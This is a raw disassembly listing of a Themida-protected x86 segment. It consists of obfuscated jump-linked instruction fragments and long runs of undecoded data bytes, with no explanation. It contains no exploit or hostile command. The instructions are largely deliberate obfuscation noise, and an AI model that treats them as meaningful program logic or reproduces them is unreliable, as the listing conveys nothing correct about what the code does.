loc_547900:				; CODE XREF: Themida_:00549ADEj
		pop	esi
		jmp	loc_54F54D
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E904C783h, 1458h, 661105ADh, 2CE939F3h, 29000034h
		dd 0FF515DE9h, 59042474h, 5C24048Fh, 89243C89h,	1AAA68E7h
		dd 4890000h, 518CB824h,	0EC835492h, 24348904h, 0FFD621E9h
		dd 6C681FFh, 8B786931h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_54C4F9
; ---------------------------------------------------------------------------
		dd 18E5F681h, 0C681399Ah, 7C1A04B0h, 131E9h, 0E1EE8100h
		dd 0C1BE3CF8h, 0BA5208E6h, 65F64D82h, 7C4FF281h, 0E2C1588Ch
		dd 0B0EA8107h, 0C1A0ADBAh, 0EA8102E2h, 71AC9038h, 2A88E9h
		dd 58E95000h, 8BFFFFE5h, 0FE92414h, 0B8000048h,	4, 7CDCE9h
		dd 0C8B6600h, 8B545124h, 90E9240Ch, 56FFFFF1h, 6D6DB7BEh
		dd 30EE810Ah, 81398F0Bh, 65116BEEh, 7E50E953h, 0FB290000h
		dd 48EB815Fh, 0E94F7938h, 883Ch, 0D47AEB81h, 0DE89D810h
		dd 19B9E9h, 81C32900h, 0DE2E0FEBh, 8F665811h, 0C7A3E900h
		dd 0C89FFFFh, 167FE924h, 0D0F70000h, 3AC59505h,	0E9C589D7h
		dd 471Eh, 5066D6B5h, 0FDE90AB4h, 89000066h, 48B5AD1h, 4C48124h
		dd 81000000h, 0CD7DCBE9h, 31C18171h, 8114F129h,	0BE46E5C1h
		dd 9DC1811Fh, 142AF4Eh,	9DE981F9h, 8142AF4Eh, 0BE46E5E9h
		dd 31E9811Fh, 8114F129h, 0CD7DCBC1h, 1018171h, 0E9000000h
		dd 0FFFFF355h, 24048B66h, 1CAAE9h, 0D831AD00h, 766868h
		dd 24148900h, 0EAA8CABAh, 3252D08h, 972D6EBEh, 120A667h
		dd 679705D0h, 895320A6h, 89F9E9E3h, 0F6810000h,	0A71171D3h
		dd 0E95EF001h, 2162h, 4C38358h,	7BBC68h, 2FC1E900h, 0D3F70000h
		dd 0EFE2F381h, 0D829DBE7h, 5D0015Bh, 47CF7F3Ah,	49218C2Dh
		dd 1D685A7Dh, 89000010h, 0D8B9240Ch, 0E97C8234h, 57CBh
		dd 525FFB01h, 0FFC6BEE9h, 0E9EB31FFh, 0FFFFCB7Ah, 0FFC6ACE9h
		dd 4EC81FFh, 89000000h,	15BA2414h, 0E92C8D47h, 0FFFFD70Bh
		dd 0CAF18141h, 1A54B92h, 56DBE9CBh, 0D1880000h,	62F6E9h
		dd 2FB06800h, 2C890000h, 4EC8324h, 0B9240C89h, 6801474Ch
		dd 0FFCFF9E9h, 63685CFFh, 8900003Ah, 5EE92404h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B4B:				; CODE XREF: Themida_:0054D988j
		push	ebp
		mov	ebp, 6A450DE9h
		inc	ebp
		xor	ebp, 23A61248h
		xor	ecx, ebp
		pop	ebp
		add	ebp, ecx
		jmp	loc_545CFD
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6856240Ch, 627Ch, 24048F54h,	4BF57h,	7C010000h, 0E95F0424h
		dd 7474h, 5C240487h, 24048B66h,	0ABE95451h, 0B2000020h
		dd 30CA80B5h, 0E280DAF6h, 4EC8182h, 89000000h, 79B02404h
		dd 0D5E9C228h, 5E00002Ah, 0D7F7DFF7h, 41A4CF81h, 0F7811E2Ch
		dd 5A503A3Fh, 7024E9h, 0DAB95100h, 0E9536C78h, 0FFFFE976h
		dd 4C4815Bh, 83000000h,	348904ECh, 2BE24h, 0F7010000h
		dd 5124348Bh, 44BDE9h, 3FC28100h, 10F777Bh, 3FEA81DAh
		dd 5B0F777Bh, 2659E9h, 0A8E95000h, 81FFFFFDh, 4C2h, 4C28100h
		dd 87000000h, 248B2414h, 0DCDBE924h, 34FFFFFFh,	89565924h
		dd 4EC81E6h, 89000000h,	0DAB82404h, 0C17B3D5Eh,	0C08306E0h
		dd 74416801h, 0CE90000h, 58FFFFF6h, 81240C8Bh, 4C4h, 642DE900h
		dd 20B80000h, 5000000h,	62E45543h, 432DF801h, 8962E455h
		dd 24048B10h, 81E18951h, 4C1h, 7B1E900h, 0C15A0000h, 0C00900E9h
		dd 2EB4840Fh, 14680000h, 8900003Bh, 5D53242Ch, 60BD5555h
		dd 16C585Eh, 5D04246Ch,	0FFED41E9h, 24895CFFh, 24048324h
		dd 0B8505904h, 4, 5D40E9h, 6FCE6800h, 0C9E96E92h, 5800003Bh
		dd 2025E9h, 0C8B6600h, 6FAEE924h, 5B050000h, 29701F44h
		dd 3DBD68D8h, 0C890000h, 445BB924h, 0C829701Fh,	0C3815B59h
		dd 5F202CC9h, 0DBE9C329h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547CEB:				; CODE XREF: Themida_:00547F56j
		push	bx
		mov	bh, 0EDh
		xor	al, bh
		pop	bx
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		dec	dh
		sub	dh, 0EDh
		add	al, dh
		pop	edx
		jmp	loc_54BF0E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4A587C62h, 0A637B951h, 2DE91286h, 6800007Dh,	628Ch
		dd 68241489h, 0FFFFFBFFh, 5A2434FFh, 57E68956h,	0F46AEBFh
		dd 0F5C78114h, 0E94A7475h, 4087h, 0D04E8C1h, 1C97952h
		dd 0B64E9h, 5CE95600h, 51000019h, 414F2DB9h, 2614E911h
		dd 1EB80000h, 2927F277h, 8B042444h, 89502404h, 405E0h
		dd 0C0830000h, 3ED6E904h, 0BE560000h, 554613E5h, 4CF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_547D89:				; CODE XREF: Themida_:0054E8FAj
		add	dword ptr [esp], 34A314Ch
		push	dword ptr [esp]
		pop	eax
		push	42B4h
		jmp	loc_5492C1
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 0BF5758C1h, 4, 1227C181h, 0F9293CC4h, 4303E9h
		dd 51FA0100h, 0FD4E93B9h, 0C1D1F773h, 0E1C107E9h, 3E33E904h
		dd 0F3010000h, 32E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_547DD5:				; CODE XREF: Themida_:005470BAj
		push	edx
		mov	edx, 6D8B44F9h
		add	ebp, edx
		pop	edx
		sub	ebp, esi
		push	esi
		mov	esi, 1AE741A0h
		push	edx
		mov	edx, 667A0CBEh
		xor	edx, 5E095C06h
		not	edx
		push	ebx
		mov	ebx, 43B303E7h
		or	ebx, 5C6307B6h
		not	ebx
		sub	ebx, 33E12001h
		inc	ebx
		add	ebx, 0C8D13AEBh
		and	edx, ebx
		jmp	loc_54DAC3
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 8734FFC0h, 42B06853h, 1C8B0497h, 0E0895024h,	405h, 4C08300h
		dd 5C240487h, 4245C01h,	83241C8Bh, 34FF04C4h, 0E78DE924h
		dd 77FFFFFFh, 59669D1Ch, 9C241CD2h, 0FFC354E9h,	7DE9B8FFh
		dd 60350CB5h, 0E9720276h, 11BDh, 240C8B66h, 13A6852h, 0DFE90000h
		dd 55000082h, 29B46850h, 5258030Ch, 6263A1BAh, 4EAC171h
		dd 1CE9DAF7h, 1FFFFEBh,	7BC381CBh, 597FE50Eh, 78F1B850h
		dd 0BE56071Eh, 3C937AB7h, 0BBF2C681h, 0F021D8C3h, 30A3355Eh
		dd 0C3010516h, 241C8758h, 733EE95Ch, 0EC830000h, 240C8904h
		dd 2FFDE9h, 5BDE2900h, 3839F681h, 0EE8140F6h, 76230C2Ch
		dd 71E7E9h, 2C77FF00h, 0FFD817E9h, 2CB805FFh, 1EE93C7Dh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547EEB:				; CODE XREF: Themida_:0054A402j
		sub	esp, 4
		jmp	loc_54A004
; ---------------------------------------------------------------------------
		db 1
		dd 7E22DD0h, 555A2B7Fh,	9C3240BDh, 1ED812Eh, 45000000h
		dd 10FAC581h, 0ED81101Ah, 0DB01FB12h, 0FBE9E801h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547F1B:				; CODE XREF: Themida_:00544C75j
		mov	ebp, [esp]
		jmp	loc_54CE06
; ---------------------------------------------------------------------------
		db 83h
		dd 0C9E904C4h, 1000079h, 3171E9FEh, 0D2F70000h,	3A9DEA81h
		dd 0D2F71D03h, 6601E281h, 0EA816910h, 91021FCh,	0E95AD701h
		dd 3017h
; ---------------------------------------------------------------------------


loc_547F50:				; CODE XREF: Themida_:0054EA56j
		mov	bh, 0DCh
		or	al, bh
		pop	bx
		jmp	loc_547CEB
; ---------------------------------------------------------------------------
		db 81h
		dd 217039C9h, 0D1F74904h, 0C6F18149h, 81510400h, 0E50E7BEBh
		dd 0FF15E97Fh, 0E981FFFFh, 0BCE67F7Bh, 0F4E9C801h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547F83:				; CODE XREF: Themida_:0054A9EBj
		pop	edx
		sub	ecx, esi
		jmp	loc_54BD84
; ---------------------------------------------------------------------------
		db 1
		dd 0E2C681C6h, 522DA246h, 1D1D69BAh, 86EA8112h,	0E9BE1BEDh
		dd 5448h, 0EE040304h, 240C8B66h, 2C481h, 0E3680000h, 89000054h
		dd 9EE92414h, 89000064h, 4C281E2h, 81000000h, 4EAh, 24143300h
		dd 0FFC29FE9h, 240C8BFFh, 1E73E9h, 4C48100h, 0E9000000h
		dd 0DFh, 5DEB015Dh, 0FFF8A7E9h,	2434FFFFh, 0E689565Bh
		dd 4C681h, 0C6830000h, 24348704h, 4BF575Ch, 0E9000000h
		dd 0FFFFFAD8h
; ---------------------------------------------------------------------------


loc_548010:				; CODE XREF: Themida_:0054760Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 81h
		dd 97AF46F3h, 5BD831EAh, 466FE9h, 5AD60100h, 8B243487h
		dd 0E1F72424h, 0FFF156E9h, 2FF381FFh, 4B4B032Ch, 781EE381h
		dd 0F7532F4Ch, 815B2414h, 6AB5F9F3h, 7E7BE9B2h,	68560000h
		dd 7F096C4Eh, 7484E95Eh, 68510000h, 4C2F1C7Fh, 24F9E9h
		dd 57EF8100h, 1506D6Ah,	0B95155F7h, 506D6A57h, 24048151h
		dd 313534CAh, 83242C8Bh, 0ED8104C4h, 313534CAh,	0CFEAE959h
		dd 0EE9FFFFh, 68FFFFC1h, 0F2Ch,	0BA241489h, 44E97F63h
		dd 148BD029h, 4C48324h,	2BE9C801h, 0BAFFFFCEh, 4E233D34h
		dd 0C104EAC1h, 93E903E2h, 5200005Ch, 7F74E9h, 63F78000h
		dd 0C05BFA88h, 0CA8003EAh, 1DF280B0h, 0E9F4C280h, 703h
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 19CCh, 6404B951h
		dd 0E9D11B74h, 31FEE981h, 0C8010DBAh, 50240C8Bh, 4E58E9h
		dd 7EE95A00h, 6800001Fh, 2556h,	0BF243C89h, 4, 0E95FFA01h
		dd 671Bh, 26EA8142h, 5030623Eh,	0F32934B8h, 3E0C166h, 655FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54813D:				; CODE XREF: Themida_:0054A8EEj
		shr	eax, 8
		or	eax, 99D2951h
		and	eax, 4F415983h
		add	eax, 1C8B537Ah
		xor	ecx, eax
		pop	eax
		push	eax
		mov	eax, 52E4573Fh
		add	eax, 173609C3h
		jmp	loc_54FA61
; ---------------------------------------------------------------------------


loc_548162:				; CODE XREF: Themida_:0054BE08j
		add	ebx, esi
		jmp	loc_54A788
; ---------------------------------------------------------------------------
aSl		db '),',0
		align 10h
		dd 4BA52h, 0ADE90000h, 5B000003h, 8F04C483h, 19E92404h
		dd 81FFFFEDh, 35ABDFC7h, 0E9FD017Bh, 358h, 6624248Bh, 9C2424D3h
		dd 0FFC008E9h, 4C483FFh, 0C02AB353h, 0CB8008E3h, 649E910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5481B2:				; CODE XREF: Themida_:0054C3E9j
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_54910F
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF24048Fh, 34FF2434h, 24048B24h, 8104C483h,	4C4h, 4C48300h
		dd 1DC868h, 42F1E900h, 0F9B80000h, 354F7718h, 24ED7F24h
		dd 66F3540h, 0D8F75AEBh, 694CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5481F5:				; CODE XREF: Themida_:005498CDj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		pop	ecx
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
aYhiy		db 'YhiY',0
		dw 8900h
		dd 0B1B5240Ch, 0E935CD80h, 0FFFFDE6Fh, 4E1AE95Ch, 0E9B40000h
		dd 1430E9h, 1C77FF00h, 0D359669Dh, 0E99C241Ch, 35BCh, 0EDC0C5FEh
		dd 0F6D5F603h, 0A2ED80DDh, 888AF580h, 0B45059EBh, 4ECC01Bh
		dd 0FFF375E9h, 9DE281FFh, 812D1F30h, 4431CFCAh,	6EE2810Ch
		dd 0E93AAE76h, 7737h, 756BE956h, 54B90000h, 8115566Bh
		dd 236673E9h, 7E9C168h,	2579E9h, 24343100h, 0E9243433h
		dd 7F01h, 24348151h, 1C0B506Bh,	6BBE565Dh, 311C0B50h, 0F7595EF5h
		dd 3BF581D5h, 0E9591613h, 0FFFFF4BBh, 0C3285866h, 0E97BEB80h
		dd 0FFFFC301h, 0F1770DBDh, 2CF9E92Dh, 81590000h, 0BB1D7CEBh
		dd 0E9CB0121h, 2E09h, 0E902C483h, 3F31h
; ---------------------------------------------------------------------------


loc_5482FC:				; CODE XREF: Themida_:0054F5E6j
		mov	ebx, edx
		pop	edx
		sub	ebx, 8331561h
		shr	ebx, 8
		push	6864h
		mov	[esp], ebx
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54ED1B
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 4EC8300h, 0B8240489h, 76B3B98h, 5FE1E9h, 5DE90100h
		dd 59C0F181h, 0BEE90352h, 53000006h, 146BB850h,	0C38974DDh
		dd 8124048Bh, 4C4h, 0D7BD5500h,	31133748h, 71B5E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54835E:				; CODE XREF: Themida_:00544D42j
		jnz	loc_54603F
		push	ecx
		push	1
		jmp	loc_55024B
; ---------------------------------------------------------------------------
		db 81h
		dd 2D5294E1h, 3AC18141h, 0E918F268h, 0FFFFDF4Ah, 0E9240433h
		dd 0FFFFF2E4h, 8B241C87h, 3EE92424h, 68000029h,	24B9h
		dd 89243C89h, 4C781E7h,	83000000h, 3C3304C7h, 7D83E924h
		dd 0F6E90000h, 29FFFFBDh, 24048BC6h, 0FFE045E9h, 0FFDF01FFh
		dd 5E92434h, 20FFFFF8h,	0E28058E2h, 80C2FEFBh, 0D328E3EAh
		dd 0BA525A5Ah, 28h, 63B8C281h, 0EA813E00h, 1F650CF3h, 7710C281h
		dd 0C2815A99h, 4752424Ch, 0EA81FA01h, 4752424Ch, 0FDDCE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548402:				; CODE XREF: Themida_:0054ECABj
		sub	esp, 4
		jmp	loc_54C406
; ---------------------------------------------------------------------------
		db 5, 0F6h, 43h
		dd 92E900A7h, 81FFFFBEh, 31F72434h, 23E92A96h, 81FFFFE0h
		dd 4C1h, 0EA8FE900h, 8B66FFFFh,	89562404h, 4B850E6h, 0E9000000h
		dd 0FFFFECD8h, 5F07E581h, 0ED81595Ah, 6FDD81D1h, 2E4EE9h
		dd 1EE8300h, 33B1E9h, 14896600h, 0E95124h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548463:				; CODE XREF: Themida_:0054FEC3j
		mov	dh, al
		not	dh
		push	ecx
		jmp	loc_54BF88
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0E9h
		dd 0A8h, 666BEC80h, 0E90CB252h,	290Bh, 0F204B404h, 0F22CD000h
		dd 0E953B42Ch, 2290h, 59E9C680h, 42EE80h, 33C6E9F3h, 7B250000h
		dd 0C15D5F4Ah, 0D0F708E8h, 449EE9h, 24048B00h, 6804C483h
		dd 276Fh, 0E9240489h, 0FFFFBCE9h, 0EE81D6F7h, 578131E0h
		dd 76C968h, 24048900h, 0DDBA5255h, 0BD0BF614h, 6E91227Ah
		dd 555AD501h, 9F055D58h, 0E9201E23h, 0FFFFCAADh, 0D1ED815Fh
		dd 29F4B43Ch, 3F88E9E9h, 0B4500000h, 0F6CCFE89h, 7CC80DCh
		dd 88F6EC80h, 0F00058E6h, 5D78E9h, 4C48300h, 0E902C283h
		dd 0FFFFD336h, 9091512Dh, 0E9C501D8h, 0FFFFE2B0h, 0E95AD601h
		dd 76C8h, 8B24048Fh, 4302424h, 6AE99C24h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54853F:				; CODE XREF: Themida_:0054E7C1j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54BC14
; ---------------------------------------------------------------------------
		dd 24048B66h, 81595451h, 4C1h, 4EC8100h, 89000000h, 57522434h
		dd 73102ABFh, 8B5A5765h, 0C483243Ch, 1028BE04h,	0D6316573h
		dd 8324148Bh, 4DE904C4h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54857F:				; CODE XREF: Themida_:0054718Aj
		xor	edi, 8FBA9681h
		mov	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		push	3F63h
		jmp	loc_54B9DC
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 4
		dd 0F985E924h, 5A54FFFFh, 4C281h, 0B9510000h, 4, 0E959CA29h
		dd 0FFFFD00Eh, 0F7241487h, 241487D2h, 8124348Bh, 4C4h
		dd 1DEE8100h, 0E9740411h, 0FFFFE033h, 88BA525Fh, 2112D41Bh
		dd 24148BD1h, 4C481h, 0E1810000h, 9000149h, 4137E9h, 243C8900h
		dd 0C966A568h, 394EE970h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5485FA:				; CODE XREF: Themida_:005492E4j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_54FE2F
; ---------------------------------------------------------------------------
		dd 5202E9C1h, 5835DFBAh, 5AD10969h, 2192E981h, 0CB2917EAh
		dd 54D1E959h, 0E9570000h, 0FFFFD1DFh, 3118E8C1h, 31D031C8h
		dd 68D031C2h, 748Bh, 87241489h,	0D3F7241Ch, 476CE9h, 6DE98100h
		dd 0C158DD55h, 0E98107E9h, 27CF510Fh, 0F740F181h, 1EE9D3C2h
		dd 33000056h, 248B2434h, 241C8924h, 77E9AEB7h, 68000070h
		dd 58E7h, 0FF241C89h, 0FF042474h, 0F4E92434h, 0FFFFFFFAh
		dd 0C8B2434h, 4C48124h,	51000000h, 240C8B54h, 3652E9h
		dd 1C77FF00h, 0D259669Dh, 0E99C2414h, 7299h, 0EC81D701h
		dd 4, 0E9240489h, 6BCh,	0E904EC83h, 44E1h, 0C8283AB1h
		dd 0FFFB5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5486CD:				; CODE XREF: Themida_:0054BAE6j
		add	edx, 0FFFFFFFFh
		push	5FC8h
		mov	[esp], edi
		push	ecx
		push	0A0E4331h
		pop	ecx
		shr	ecx, 8
		and	ecx, 2A726262h
		sub	ecx, 3E9A2A9Eh
		jmp	loc_54D729
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C0CDFED5h, 0B65203EDh, 0EFEE8002h, 5AF528h,	892C59E8h
		dd 0FC3305Bh, 34FFC0B6h, 0BA93E987h, 0E950FFFFh, 0FFFFD5B4h
		dd 0F2E95F51h, 57FFFFD6h, 0AF4CEBBFh, 5FFE296Dh, 19F7CE81h
		dd 0F6813697h, 0C0A37C36h, 590AC281h, 0F2296A2Bh, 590AEA81h
		dd 0CAE96A2Bh, 8000000Fh, 0C380FBC3h, 5BDE08CEh, 0FFDC7FE9h
		dd 148966FFh, 30B9B624h, 148B66F0h, 5D545524h, 42A268h
		dd 240C8900h, 4B9h, 8BCD0100h, 8956240Ch, 4C681E6h, 0E9000000h
		dd 36BBh, 0FFFFC681h, 0CE81FFFFh, 21575275h, 70CCBF57h
		dd 0D3E93D12h, 4000002Ah, 0A6CF7105h, 58C22979h, 6453C281h
		dd 0C2016121h, 6453BE56h, 0F2296121h, 0D8BB535Eh, 550A2F14h
		dd 0BB459FBDh, 5E5C16Fh, 0F894E956h, 0D9F7FFFFh, 7C97E9h
		dd 0CEB8100h, 5F5E6F37h, 875BDE01h, 21E92434h, 50FFFFE8h
		dd 3EDDE9h, 24343300h, 33243431h, 0ADE92434h, 0C000000Fh
		dd 0B45005EBh, 243BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548806:				; CODE XREF: Themida_:00549C35j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 1FACE9h, 0B682D00h, 0D82928ECh, 0B68BD55h, 29E928ECh
		dd 5DFFFFE8h, 3FC5E9h
		db 0
; ---------------------------------------------------------------------------


loc_548831:				; CODE XREF: Themida_:00549428j
		push	edi
		mov	edi, 30482A54h
		mov	esi, 7A084530h
		sub	esi, edi
		pop	edi
		jmp	loc_54FC10
; ---------------------------------------------------------------------------
		dd 0E957E689h, 0FFFFBDD4h, 5C24048Fh, 24048966h, 6F3AE9h
		dd 0C5CD8100h, 81471F60h, 390594F5h, 5DEB212Eh,	0A0EB814Bh
		dd 0E949A41Fh, 0FFFFDF42h, 4965A0BDh, 0E001BA44h, 50E913C1h
		dd 5400001Dh, 83241C8Bh, 8CE904C4h, 41FFFFFAh, 697BE9h
		dd 7B370500h, 7F2D460Ch, 29317C53h, 537F05D8h, 372D317Ch
		dd 5460C7Bh, 0FF31CBCh,	758EE9h, 0E00D4800h, 506F216h
		dd 2F391D11h, 0D14DB80Dh, 1ABEE934h, 34FF0000h,	0A0685824h
		dd 0E900007Dh, 695h, 0A60B09B8h, 8BC3312Bh, 0C4832404h
		dd 23996804h, 2C890000h, 5D08E924h, 0F74F0000h,	64F781DFh
		dd 816C8B56h, 1B180BCFh, 2E25E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548906:				; CODE XREF: Themida_:0054C9F5j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_546689
; ---------------------------------------------------------------------------


loc_548916:				; CODE XREF: Themida_:0054A0FBj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54D958
; ---------------------------------------------------------------------------


loc_54891F:				; CODE XREF: Themida_:0054B915j
		mov	eax, 687169D2h
		push	edi
		mov	edi, 434A68ADh
		xor	edi, 24150DF0h
		xor	eax, edi
		pop	edi
		and	eax, 483A588Bh
		xor	eax, 166074EAh
		jmp	loc_54E3FD
; ---------------------------------------------------------------------------
aMhtn		db 'hN',0
		align 4
		dd 0B3241C89h, 52D3F698h, 393AE9h, 24343300h, 6CB4E9h
		dd 8E2C00h, 0CB3DE9C8h,	0CA81FFFFh, 6F133E86h, 5107E9h
		db 0
; ---------------------------------------------------------------------------


loc_548971:				; CODE XREF: Themida_:00544369j
		pop	esi
		jmp	loc_5477F5
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572414h, 3A57B93h, 24048157h, 0B903C88h, 53FAE9h
		dd 0ADABBD00h, 0A1E9E838h, 0B8FFFFBAh, 77E1D31h, 0FFFAFDE9h
		dd 75CE81FFh, 525B660Dh, 982007BAh, 3DFFE900h, 0F0010000h
		dd 4055Eh, 4870000h, 0B8505C24h, 2, 34FFC601h, 0C4815824h
		dd 4, 0E9243487h, 7498h, 0E9243487h, 0FFFFEE7Ch, 15723FBAh
		dd 0E9D60159h, 0FFFFC638h, 72F2BA52h, 0C28139F8h, 3B8BB66Bh
		dd 298EE9h, 8BC80100h, 0C481240Ch, 4, 8B66C331h, 91682414h
		dd 8900003Eh, 8FE9242Ch, 68FFFFE4h, 96Fh, 52241C89h, 6D6AB8BAh
		dd 81D2F76Eh, 2B44D9E2h, 43F28168h, 89000204h, 0DF015AD3h
		dd 777DE95Bh, 68660000h, 89664845h, 1EB02404h, 8B66C300h
		dd 0C4832404h, 52D30002h, 0E280B1B2h, 0A4C28096h, 8008B450h
		dd 0DCF6A7CCh, 0FFCA18E9h, 0E95B54FFh, 5AE3h, 193CFA05h
		dd 2DF00151h, 51193CFAh, 65FCE95Eh, 0E9560000h,	0FFFFC0D0h
		dd 24048B66h, 81E18951h, 4ECh, 24048900h, 8625C768h, 0D04DE923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548AA6:				; CODE XREF: Themida_:0054A00Cj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 337F2691h
		sub	[esp+8], ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_549559
; ---------------------------------------------------------------------------
		dd 4244481h, 7C2027DAh,	2434FF5Fh, 0FFC49EE9h, 4C381FFh
		dd 87000000h, 248B241Ch, 2434FF24h, 57242C8Bh, 35E9E789h
		dd 5000023h, 0A797DBA2h, 781EE950h, 0BA520000h,	1E373652h
		dd 0CCE9D301h, 0FFFFEDh, 0BA045AF0h, 32685A66h,	89000014h
		dd 45B7241Ch, 0F9D0E952h, 8B66FFFFh, 0D6E92404h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548B33:				; CODE XREF: Themida_:0054BF8Dj
		pop	dx
		not	al
		push	ebx
		mov	bl, 71h
		jmp	loc_5467E4
; ---------------------------------------------------------------------------
		db 66h
		dd 667DF9BFh, 5F66F829h, 63770566h, 741EE9h
		db 0
; ---------------------------------------------------------------------------


loc_548B51:				; CODE XREF: Themida_:0054D62Ej
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	76A92D66h
		pop	ebx
		neg	ebx
		jmp	loc_54F327
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 67h
		dd 89F4D4C8h, 35055DE8h, 89FC7A57h, 24048BC1h, 4C481h
		dd 0C9810000h, 3D2120D0h, 0FFC18141h, 81FFFFFFh, 9608BCC1h
		dd 0B0C1814Ch, 815DFA52h, 45CC38F1h, 59CD012Ah,	4ED81h
		dd 2C870000h, 26E95C24h, 5B000043h, 0CDE6E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548BBE:				; CODE XREF: Themida_:0054EBC3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_54FFAF
; ---------------------------------------------------------------------------
		dd 0E9240C87h, 0FFFFC297h, 52240C8Bh, 0C281E289h, 4, 8704C283h
		dd 815C2414h, 684CA1EFh, 50D70172h, 684CA1B8h, 1EF8172h
		dd 1402D52h, 1C781C7h, 58402D52h, 38F8EF81h, 0F5A5FA6h
		dd 34FFC0B6h, 27DDE987h, 8B660000h, 95682404h, 89000063h
		dd 0A8E9241Ch, 5E00000Fh, 0E924048Fh, 40Fh, 0E993E780h
		dd 4C5Bh, 8904EC83h, 74FF2434h,	8F5E0424h, 248B2404h, 2C58324h
		dd 5C242C87h, 0E904EC83h, 0FFFFE8A4h
; ---------------------------------------------------------------------------


loc_548C64:				; CODE XREF: Themida_:0054E028j
		pop	ebp
		push	32DDh
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54D976
; ---------------------------------------------------------------------------
		dd 4B30F66h, 2AE99C24h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C7F:				; CODE XREF: Themida_:00548F68j
		mov	esi, 4A8245B4h
		dec	esi
		add	esi, 48F17D88h
		dec	esi
		add	esi, 6C8C3CCAh
		sub	ebp, esi
		pop	esi
		jmp	loc_54E79E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6E92424h, 1FFFFB5h, 0C0C381CBh, 8B7FBC00h, 0C481240Ch
		dd 4, 7600EB81h, 50E978C1h, 5600002Eh, 3210B850h, 10BE349Dh
		dd 81349D32h, 0C12890EEh, 81C62914h, 0C12890C6h, 10B8E914h
		dd 0E9570000h, 0FFFFCA19h, 64ACC581h, 0FE9585Fh, 6600003Bh
		dd 8124048Bh, 4ECh, 3F01E900h, 8B660000h, 8950240Ch, 59BD55E0h
		dd 81179C32h, 0E47915EDh, 56E58142h, 812A9528h,	1EDh, 68DDF700h
		dd 4322h, 11FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_548D29:				; CODE XREF: Themida_:005443DFj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_544DAF
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 89h
		dd 405E0h, 4050000h, 50000000h,	4666E9h, 0C3805A00h, 80C328FDh
		dd 0EC83FDEBh, 24048904h, 506651B4h, 0E300D7B4h, 0E3285866h
		dd 58D7EB80h, 0E989EB80h, 0FFFFE47Dh, 5C243C87h, 0E924048Fh
		dd 0FFFFD13Dh, 0D45511B8h, 57F6E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548D82:				; CODE XREF: Themida_:0054A652j
